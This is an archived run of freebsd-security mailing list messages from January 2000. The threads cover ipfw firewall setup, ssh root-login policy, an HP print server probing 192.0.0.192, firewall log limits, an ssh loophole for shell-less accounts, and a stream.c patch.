tetron02.tetronsoftware.com (8.9.3/8.9.3) with ESMTP id NAA03956; Thu, 27 Jan 2000 13:26:17 -0600 (CST) (envelope-from zeus@tetronsoftware.com) Date: Thu, 27 Jan 2000 13:26:17 -0600 (CST) From: Gene Harris To: Jeffery Soule Cc: freebsd-security@FreeBSD.ORG Subject: Re: Firewalls In-Reply-To: <20000127.18320500@localhost.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org For general poop on ipfw, look at http://www.freebsddiary.org http://www.freebsdrocks.com http://www.freebsd.org Also, a stock script for a firewall can be found in /etc/rc.firewall. The next entry can help with scripts, but you'll have to translate between ipchains commands on Linux and ipfw on FreeBSD. There is a one2one correspondence between the commands that is fairly obvious, once you get the hang of ipfw. http://www.linux-firewall-tools.com Some people are advocating ipfilter because of some recent denial of service attacks. The following is a HOW-TO for ipfilter. http://www.free-x.ch/pub/ipf-conf-en.html The "official" home page is http://coombs.anu.edu.au/ipfilter/ *==============================================* *Gene Harris http://www.tetronsoftware.com* *FreeBSD Novice * *All ORBS.org SMTP connections are denied! * *==============================================* On Thu, 27 Jan 2000, Jeffery Soule wrote: > Greetings, > I am looking for a starting point to learn about setting up a firewall > on FreeBSD 3.3. Any pointers would be GREATLY appreciated! > Thanks, > /Jeff > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 12:31:38 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 40E7C156E7; Thu, 27 Jan 2000 12:31:37 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 33A4B1CD6AE; Thu, 27 Jan 2000 12:31:37 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Thu, 27 Jan 2000 12:31:37 -0800 (PST) From: Kris Kennaway To: Dug Song Cc: Michael Robinson , freebsd-security@freebsd.org Subject: Re: opinions on source quench In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 27 Jan 2000, Dug Song wrote: > http://www.monkey.org/~dugsong/dsniff/ Or use the port in /usr/ports/security/dsniff :-) Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 15:12:17 2000 Delivered-To: freebsd-security@freebsd.org Received: from security1.noc.flyingcroc.net (security1.noc.flyingcroc.net [207.246.128.54]) by hub.freebsd.org (Postfix) with ESMTP id 7463A14E6B for ; Thu, 27 Jan 2000 15:12:14 -0800 (PST) (envelope-from todd@flyingcroc.net) Received: from localhost (todd@localhost) by security1.noc.flyingcroc.net (8.9.3/8.9.3) with ESMTP id PAA63892; Thu, 27 Jan 2000 15:11:26 -0800 (PST) (envelope-from todd@flyingcroc.net) X-Authentication-Warning: security1.noc.flyingcroc.net: todd owned process doing -bs Date: Thu, 27 Jan 2000 15:11:26 -0800 (PST) From: Todd Backman X-Sender: todd@security1.noc.flyingcroc.net To: Sheldon Hearn Cc: Todd Backman , Bill Swingle , security@FreeBSD.ORG Subject: Re: root authorized_keys ignore? In-Reply-To: <1573.948954524@axl.noc.iafrica.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org You are correct. I was looking for an interim solution to the problem until I get through all of my other projects before digging into kerberosV for our 250+ machines... aaaakkkk! I was just hoping I missed something in sshd_config. Thanks for the tips! - Todd On Thu, 27 Jan 2000, Sheldon Hearn wrote: > > > On Wed, 26 Jan 2000 12:08:34 PST, Todd Backman wrote: > > > just the use of authorized_keys... just want to combat the > > "lazy-admin-syndrome" ;^) > > Actually, it looks like you're trying to work around existing laziness, > rather than stomp on it. So far, all the suggestions I've seen offered > in public are not fool-proof. :-) > > Just disable root logins with ssh altogether and have your admins log in > with user accounts and su to root. > > Ciao, > Sheldon. > ========================================================================== Todd Backman "the only limitations people Security Officer have are the ones we put Flying Crocodile, Inc. upon ourselves." -me Seattle, WA "chaos is a good teacher..." ========================================================================== To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 16:22: 8 2000 Delivered-To: freebsd-security@freebsd.org Received: from lariat.lariat.org (lariat.lariat.org [206.100.185.2]) by hub.freebsd.org (Postfix) with ESMTP id E01CB14E71 for ; Thu, 27 Jan 2000 16:22:04 -0800 (PST) (envelope-from brett@lariat.org) Received: from mustang (IDENT:ppp0.lariat.org@lariat.lariat.org [206.100.185.2]) by lariat.lariat.org (8.9.3/8.9.3) with ESMTP id RAA12459; Thu, 27 Jan 2000 17:21:56 -0700 (MST) Message-Id: <4.2.2.20000127171529.00c56a00@localhost> X-Sender: brett@localhost X-Mailer: QUALCOMM Windows Eudora Pro Version 4.2.2 Date: Thu, 27 Jan 2000 17:21:50 -0700 To: Matthew Dillon From: Brett Glass Subject: Re: Riddle me this Cc: security@FreeBSD.ORG In-Reply-To: <200001270425.UAA18744@apollo.backplane.com> References: <200001270355.UAA01355@lariat.lariat.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 09:25 PM 1/26/2000 , Matthew Dillon wrote: > It's hard to say without doing a continuous tcpdump but the most likely > possibility is that someone was playing a game or doing something else > related to sending and receiving UDP packets, and then disconnected. Actually, I think I just found out what it was. Two words: HP JetAdmin. Apparently, some people at the site just got a new JetDirect print server. When you install the client software, it sets itself up -- by default -- to test EVERY IP ADDRESS IN THE SUBNET to see if it has an HP print server on it. And it gets worse. The default address of the print server hardware -- which the client software tries to reach when it's setting up -- is (are you ready?) 192.0.0.192. This isn't a legal address, nor is it a standard "unregistered" address for a private subnet. So, natd tries to route it. We really ought to block this by default by putting a "black hole" entry in the system routing table. It certainly should not ever be routed.... Cisco routers automatically blackhole it. --Brett To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 17:44:55 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id 69FC7157E2; Thu, 27 Jan 2000 17:44:53 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id 5A27C1CD679; Thu, 27 Jan 2000 17:44:53 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Thu, 27 Jan 2000 17:44:53 -0800 (PST) From: Kris Kennaway To: Brett Glass Cc: Matthew Dillon , security@FreeBSD.ORG Subject: Re: Riddle me this In-Reply-To: <4.2.2.20000127171529.00c56a00@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 27 Jan 2000, Brett Glass wrote: > We really ought to block this by default by putting a "black hole" entry in > the system routing table. It certainly should not ever be routed.... Cisco > routers automatically blackhole it. Maybe you should also talk to HP about it and get them to fix their printers :) Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 17:58:37 2000 Delivered-To: freebsd-security@freebsd.org Received: from infidel.boolean.net (router.boolean.net [198.144.206.49]) by hub.freebsd.org (Postfix) with ESMTP id 6A3141586F for ; Thu, 27 Jan 2000 17:58:32 -0800 (PST) (envelope-from Kurt@Boolean.Net) Received: from gypsy (gypsy.boolean.net [198.144.202.243]) by infidel.boolean.net (8.9.3/8.9.3) with SMTP id BAA63648; Fri, 28 Jan 2000 01:58:16 GMT (envelope-from Kurt@Boolean.Net) Message-Id: <3.0.5.32.20000127175807.0094d940@infidel.boolean.net> X-Sender: guru@infidel.boolean.net (Unverified) X-Mailer: QUALCOMM Windows Eudora Pro Version 3.0.5 (32) Date: Thu, 27 Jan 2000 17:58:07 -0800 To: Brett Glass From: Kurt Zeilenga Subject: Re: Riddle me this Cc: Matthew Dillon , security@FreeBSD.ORG In-Reply-To: <4.2.2.20000127171529.00c56a00@localhost> References: <200001270425.UAA18744@apollo.backplane.com> <200001270355.UAA01355@lariat.lariat.org> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 05:21 PM 1/27/00 -0700, Brett Glass wrote: >And it gets worse. The default address of the print server hardware -- which >the client software tries to reach when it's setting up -- is (are you ready?) >192.0.0.192. HP has been doing that for years... http://search.ietf.org/internet-drafts/draft-manning-dsua-01.txt reads: As a side note, at least one vendor has hijacked an address range for use by its printservers. That range is 192.0.0.0/24 and the specific address that they use is 192.0.0.192/32. This is not a valid delegation to this vendor and its use argues for reconstitution of this service into the link-local range or configurable with site delegated space. and % dig -x 192.0.0.192 ; <<>> DiG 8.2 <<>> -x ;; res options: init recurs defnam dnsrch ;; got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 4 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 1 ;; QUERY SECTION: ;; 192.0.0.192.in-addr.arpa, type = ANY, class = IN ;; ANSWER SECTION: 192.0.0.192.in-addr.arpa. 17h42m33s IN PTR 192.0.0.0-is-used-for-printservices-discovery----illegally.iana.net. ;; AUTHORITY SECTION: 0.0.192.in-addr.arpa. 17h42m33s IN NS NS.ISI.EDU. ;; ADDITIONAL SECTION: NS.ISI.EDU. 17h41m55s IN A 128.9.128.127 ;; Total query time: 108 msec ;; FROM: infidel.boolean.net to SERVER: default -- 127.0.0.1 ;; WHEN: Thu Jan 27 17:53:24 2000 ;; MSG SIZE sent: 42 rcvd: 183 ---- Kurt D. Zeilenga Net Boolean Incorporated To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 18:51:36 2000 Delivered-To: freebsd-security@freebsd.org Received: from mta1.snfc21.pbi.net (mta1.snfc21.pbi.net [206.13.28.122]) by hub.freebsd.org (Postfix) with ESMTP id 229D914DCB for ; Thu, 27 Jan 2000 18:51:33 -0800 (PST) (envelope-from madscientist@thegrid.net) Received: from remus ([63.193.246.169]) by mta1.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.1999.09.16.21.57.p8) with SMTP id <0FP0007VDYIEJ8@mta1.snfc21.pbi.net> for freebsd-security@freebsd.org; Thu, 27 Jan 2000 18:49:27 -0800 (PST) Date: Thu, 27 Jan 2000 18:46:49 -0800 From: The Mad Scientist Subject: Re: sshd and pop/ftponly users incorrect configuration In-reply-to: X-Sender: i289861@mail.thegrid.net To: Marc SCHAEFER Cc: freebsd-security@freebsd.org Message-id: <4.1.20000127184450.0095b390@mail.thegrid.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Content-type: text/plain; charset="us-ascii" References: <4.1.20000127001817.00938470@mail.thegrid.net> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 07:08 PM 1/27/00 +0100, you wrote: >On Thu, 27 Jan 2000, The Mad Scientist wrote: > >> > - no user which has an account hasn't a shell (he will be able >> > to do the above, except the root@ IDENT, anyway, if he has a shell) >> >> This line is a little confusing to me. Do you mean every user with an >> account has no shell? What do you mean by account? (pop?) And who is 'he'? > >If the user has a shell (e.g. bash, tcsh), he can connect to any host on >the Internet anyway (unless some socket restrictions were set up, I don't >know if this is available in FreeBSD). The only difference is that he >won't be able to fake the IDENT. > >If he has /bin/false as shell (ie he hasn't a shell, but accessed POP >and/or FTP), he can issue TCP connections appearing from the host unless >DenyGroups or other security steps are taken. Thanks. So if I understand you correctly, if the user has no shell on the system, they will only be able to fake their ident, yes? -Dean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 18:51:38 2000 Delivered-To: freebsd-security@freebsd.org Received: from mta1.snfc21.pbi.net (mta1.snfc21.pbi.net [206.13.28.122]) by hub.freebsd.org (Postfix) with ESMTP id 5D9291590F for ; Thu, 27 Jan 2000 18:51:34 -0800 (PST) (envelope-from madscientist@thegrid.net) Received: from remus ([63.193.246.169]) by mta1.snfc21.pbi.net (Sun Internet Mail Server sims.3.5.1999.09.16.21.57.p8) with SMTP id <0FP0007VDYIEJ8@mta1.snfc21.pbi.net> for freebsd-security@freebsd.org; Thu, 27 Jan 2000 18:49:27 -0800 (PST) Date: Thu, 27 Jan 2000 18:49:37 -0800 From: The Mad Scientist Subject: Fwd: Re: Riddle me this X-Sender: i289861@mail.thegrid.net To: freebsd-security@freebsd.org Message-id: <4.1.20000127184902.0094ee60@mail.thegrid.net> MIME-version: 1.0 X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Content-type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org >>At 01:16 AM 1/27/2000 , The Mad Scientist wrote: >> >>>At any rate, I like logging on most of my deny rules. You see all kinds of >>>neat stuff even on a home DSL connection. >> >>Good idea! So long as logging is rate-limited, this might be fun. >> >>Does one have to add anything to syslogd.conf to get the log messages from >>ipfw to appear in /var/log/messages? >> >>--Brett Nope, they belong to the kern facility. You can rate limit logging with options "IPFIREWALL_VERBOSE_LIMIT=100" #limit verbosity in the kernel config file. -Dean To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 18:58:31 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 057A9158F4; Thu, 27 Jan 2000 18:58:22 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id SAA18502; Thu, 27 Jan 2000 18:58:20 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id SAA27188; Thu, 27 Jan 2000 18:58:19 -0800 Received: from softweyr.com (dyn0.utah.xylan.com [198.206.184.236]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id SAA17886; Thu, 27 Jan 2000 18:58:18 -0800 (PST) Message-ID: <389106F2.D8580EE0@softweyr.com> Date: Thu, 27 Jan 2000 20:03:14 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Kris Kennaway Cc: Brett Glass , Matthew Dillon , security@freebsd.org Subject: Re: Riddle me this References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Kris Kennaway wrote: > > On Thu, 27 Jan 2000, Brett Glass wrote: > > > We really ought to block this by default by putting a "black hole" entry in > > the system routing table. It certainly should not ever be routed.... Cisco > > routers automatically blackhole it. > > Maybe you should also talk to HP about it and get them to fix their > printers :) Or vote with your wallet. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 19:10:38 2000 Delivered-To: freebsd-security@freebsd.org Received: by hub.freebsd.org (Postfix, from userid 758) id D10AF14CAB; Thu, 27 Jan 2000 19:10:36 -0800 (PST) Received: from localhost (localhost [127.0.0.1]) by hub.freebsd.org (Postfix) with ESMTP id C40D91CD6CA; Thu, 27 Jan 2000 19:10:36 -0800 (PST) (envelope-from kris@hub.freebsd.org) Date: Thu, 27 Jan 2000 19:10:36 -0800 (PST) From: Kris Kennaway To: The Mad Scientist Cc: freebsd-security@freebsd.org Subject: Re: Fwd: Re: Riddle me this In-Reply-To: <4.1.20000127184902.0094ee60@mail.thegrid.net> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 27 Jan 2000, The Mad Scientist wrote: > You can rate limit logging with > > options "IPFIREWALL_VERBOSE_LIMIT=100" #limit verbosity Note that this doesn't rate-limit, it count-limits the log events. In order to rate-limit you need to manually zero the counter every x time units. Kris ---- "How many roads must a man walk down, before you call him a man?" "Eight!" "That was a rhetorical question!" "Oh..then, seven!" -- Homer Simpson To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 21:15:19 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id CE0A415058 for ; Thu, 27 Jan 2000 21:15:14 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id WAA09171; Thu, 27 Jan 2000 22:15:13 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id WAA52400; Thu, 27 Jan 2000 22:15:23 -0700 (MST) Message-Id: <200001280515.WAA52400@harmony.village.org> To: "Nicholas W. Blasgen" Subject: Re: Streem.c Cc: security@FreeBSD.ORG In-reply-to: Your message of "Wed, 26 Jan 2000 16:28:40 PST." References: Date: Thu, 27 Jan 2000 22:15:22 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message "Nicholas W. Blasgen" writes: : Where can I find an (un)official patch for this stream.c bug that BugTraq : has been covering. I just joined the list today, so sorry if you have : already said. Something will likely be committed to -current or -stable. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 21:37:50 2000 Delivered-To: freebsd-security@freebsd.org Received: from axl.noc.iafrica.com (axl.noc.iafrica.com [196.31.1.175]) by hub.freebsd.org (Postfix) with ESMTP id 46A27159F0 for ; Thu, 27 Jan 2000 21:37:41 -0800 (PST) (envelope-from sheldonh@axl.noc.iafrica.com) Received: from sheldonh (helo=axl.noc.iafrica.com) by axl.noc.iafrica.com with local-esmtp (Exim 3.13 #1) id 12E45t-000LCA-00; Fri, 28 Jan 2000 07:37:17 +0200 From: Sheldon Hearn To: Todd Backman Cc: Bill Swingle , security@FreeBSD.ORG Subject: Re: root authorized_keys ignore? In-reply-to: Your message of "Thu, 27 Jan 2000 15:11:26 PST." Date: Fri, 28 Jan 2000 07:37:17 +0200 Message-ID: <81477.949037837@axl.noc.iafrica.com> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 27 Jan 2000 15:11:26 PST, Todd Backman wrote: > You are correct. I was looking for an interim solution to the problem > until I get through all of my other projects before digging into kerberosV > for our 250+ machines... KerberosV rocks! :-) Ciao, Sheldon. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 21:41: 7 2000 Delivered-To: freebsd-security@freebsd.org Received: from vulcan.alphanet.ch (sitebco-home-5-17.urbanet.ch [194.38.85.209]) by hub.freebsd.org (Postfix) with ESMTP id 6035A158ED for ; Thu, 27 Jan 2000 21:40:55 -0800 (PST) (envelope-from schaefer@alphanet.ch) Received: from localhost (schaefer@localhost) by vulcan.alphanet.ch (8.9.3/8.9.3) with ESMTP id GAA10338; Fri, 28 Jan 2000 06:40:50 +0100 Date: Fri, 28 Jan 2000 06:40:50 +0100 (MET) From: Marc SCHAEFER To: The Mad Scientist Cc: freebsd-security@freebsd.org Subject: Re: sshd and pop/ftponly users incorrect configuration In-Reply-To: <4.1.20000127184450.0095b390@mail.thegrid.net> Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 27 Jan 2000, The Mad Scientist wrote: > Thanks. So if I understand you correctly, if the user has no shell on the > system, they will only be able to fake their ident, yes? If they have an invalid shell, and sshd is running, and there is no DenyGroups directive, and the password is not locked, they can issue connections appearing from the attacked host, possibly bypassing logging (since those connections have IDENT == root), and possibly bypassing firewall rules. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 21:50:25 2000 Delivered-To: freebsd-security@freebsd.org Received: from bsdie.rwsystems.net (bsdie.rwsystems.net [209.197.223.2]) by hub.freebsd.org (Postfix) with ESMTP id 0F57815562 for ; Thu, 27 Jan 2000 21:49:57 -0800 (PST) (envelope-from jwyatt@rwsystems.net) Received: from bsdie.rwsystems.net([209.197.223.2]) (1995 bytes) by bsdie.rwsystems.net via sendmail with P:esmtp/R:bind_hosts/T:inet_zone_bind_smtp (sender: ) id for ; Thu, 27 Jan 2000 23:40:41 -0600 (CST) (Smail-3.2.0.106 1999-Mar-31 #1 built 1999-Aug-7) Date: Thu, 27 Jan 2000 23:40:35 -0600 (CST) From: James Wyatt To: Brett Glass Cc: Matthew Dillon , security@FreeBSD.ORG Subject: Re: Riddle me this In-Reply-To: <4.2.2.20000127171529.00c56a00@localhost> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On Thu, 27 Jan 2000, Brett Glass wrote: > At 09:25 PM 1/26/2000 , Matthew Dillon wrote: > > It's hard to say without doing a continuous tcpdump but the most likely > > possibility is that someone was playing a game or doing something else > > related to sending and receiving UDP packets, and then disconnected. > > Actually, I think I just found out what it was. > > Two words: HP JetAdmin. > > Apparently, some people at the site just got a new JetDirect print server. > When you install the client software, it sets itself up -- by default -- > to test EVERY IP ADDRESS IN THE SUBNET to see if it has an HP print server > on it. > > And it gets worse. The default address of the print server hardware -- which > the client software tries to reach when it's setting up -- is (are you ready?) > 192.0.0.192. It can get even worse... My biggest employer thought the feature was quite cool given 12,000+ NT workstations and a *lot* of laser printers scattered over at least 28 states. This feature can be fantastic, but it also walked right out to The Internet and began discovering a *lot* of printers all over the planet! We got calls from some DOD sites, we found we could control printers in Southeast Asia, we ran *very* low on disk, ... - Jy@ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 21:58:50 2000 Delivered-To: freebsd-security@freebsd.org Received: from scylla.sovam.com (scylla.sovam.com [194.67.2.97]) by hub.freebsd.org (Postfix) with SMTP id 2E652158B2 for ; Thu, 27 Jan 2000 21:58:39 -0800 (PST) (envelope-from sergey@TELECOM.UZ) Received: from SPARC.GLB.NET (glb.net) by scylla.sovam.com with SMTP id AA22022 (5.67b8s3p1/IDA-1.5 for ); Fri, 28 Jan 2000 08:58:08 +0300 Received: GLOBALNET_ISP from sergey@TELECOM.UZ (dima.glb.net [192.168.0.1]) by GLB.NET INTERNET SERVER 2000(GLOBALNET-ISP) with ESMTP id KAA24721 for ; Fri, 28 Jan 2000 10:55:31 +0500 (UZT) (envelope-from sergey@TELECOM.UZ) Date: Fri, 28 Jan 2000 10:55:31 +0500 (UZT) From: "Sergey V. Kart" X-Sender: sergey@dima.glb.net To: security@FreeBSD.ORG Subject: vidcontrol bug In-Reply-To: <200001280515.WAA52400@harmony.village.org> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi All , I have found one bug when I selected one of the video mode under Midnight Commander with vidcontrol .My server without any kernel panic or others errors trapped .It's really confused me.I tried again , the result were the same as in the first time .I run my server under FreeBSD 2.2.6. ==================================================================== Sergey Kart | GLB.NET System Administrator/Telecom Specialist To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 22:13:47 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 2D1CE150C1 for ; Thu, 27 Jan 2000 22:13:41 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA09399; Thu, 27 Jan 2000 23:13:37 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA55694; Thu, 27 Jan 2000 23:13:48 -0700 (MST) Message-Id: <200001280613.XAA55694@harmony.village.org> Subject: Re: Streem.c Cc: "Nicholas W. Blasgen" , security@FreeBSD.ORG In-reply-to: Your message of "Thu, 27 Jan 2000 22:15:22 MST." <200001280515.WAA52400@harmony.village.org> References: <200001280515.WAA52400@harmony.village.org> Date: Thu, 27 Jan 2000 23:13:48 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <200001280515.WAA52400@harmony.village.org> Warner Losh writes: : In message "Nicholas W. Blasgen" writes: : : Where can I find an (un)official patch for this stream.c bug that BugTraq : : has been covering. I just joined the list today, so sorry if you have : : already said. : : Something will likely be committed to -current or -stable. I just committed them to -current. I'll commit them to stable shortly. Warner To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 22:51:23 2000 Delivered-To: freebsd-security@freebsd.org Received: from ind.alcatel.com (postal.xylan.com [208.8.0.248]) by hub.freebsd.org (Postfix) with ESMTP id 6EB4F14FF9 for ; Thu, 27 Jan 2000 22:51:21 -0800 (PST) (envelope-from wes@softweyr.com) Received: from mailhub.xylan.com (mailhub [198.206.181.70]) by ind.alcatel.com (8.9.3+Sun/8.9.1 (ind.alcatel.com 3.0 [OUT])) with SMTP id WAA19653; Thu, 27 Jan 2000 22:51:16 -0800 (PST) X-Origination-Site: Received: from omni.xylan.com by mailhub.xylan.com (SMI-8.6/SMI-SVR4 (mailhub 2.1 [HUB])) id WAA03387; Thu, 27 Jan 2000 22:51:16 -0800 Received: from softweyr.com (dyn0.utah.xylan.com [198.206.184.236]) by omni.xylan.com (8.9.3+Sun/8.9.1 (Xylan engr [SPOOL])) with ESMTP id WAA28344; Thu, 27 Jan 2000 22:51:14 -0800 (PST) Message-ID: <38913D8C.50A1EF09@softweyr.com> Date: Thu, 27 Jan 2000 23:56:12 -0700 From: Wes Peters Organization: Softweyr LLC X-Mailer: Mozilla 4.7 [en] (X11; U; FreeBSD 3.3-RELEASE i386) X-Accept-Language: en MIME-Version: 1.0 To: Warner Losh Cc: security@freebsd.org Subject: Re: Streem.c References: <200001280515.WAA52400@harmony.village.org> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Warner Losh wrote: > > In message "Nicholas W. Blasgen" writes: > : Where can I find an (un)official patch for this stream.c bug that BugTraq > : has been covering. I just joined the list today, so sorry if you have > : already said. > > Something will likely be committed to -current or -stable. Speaking of which, has anyone had an opportunity to test or examine the patch for -stable I posted yesterday? My machines seem to be still running after 24 hours, and talking on the network. -- "Where am I, and what am I doing in this handbasket?" Wes Peters Softweyr LLC wes@softweyr.com http://softweyr.com/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Thu Jan 27 22:54: 6 2000 Delivered-To: freebsd-security@freebsd.org Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (Postfix) with ESMTP id 1457214F24 for ; Thu, 27 Jan 2000 22:54:04 -0800 (PST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (harmony.village.org [10.0.0.6]) by rover.village.org (8.9.3/8.9.3) with ESMTP id XAA09580; Thu, 27 Jan 2000 23:54:02 -0700 (MST) (envelope-from imp@harmony.village.org) Received: from harmony.village.org (localhost.village.org [127.0.0.1]) by harmony.village.org (8.9.3/8.8.3) with ESMTP id XAA56288; Thu, 27 Jan 2000 23:54:13 -0700 (MST) Message-Id: <200001280654.XAA56288@harmony.village.org> To: Wes Peters Subject: Re: Streem.c Cc: security@freebsd.org In-reply-to: Your message of "Thu, 27 Jan 2000 23:56:12 MST." <38913D8C.50A1EF09@softweyr.com> References: <38913D8C.50A1EF09@softweyr.com> <200001280515.WAA52400@harmony.village.org> Date: Thu, 27 Jan 2000 23:54:13 -0700 From: Warner Losh Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org In message <38913D8C.50A1EF09@softweyr.com> Wes Peters writes: : Speaking of which, has anyone had an opportunity to test or examine the patch : for -stable I posted yesterday? My machines seem to be still running after : 24 hours, and talking on the network. 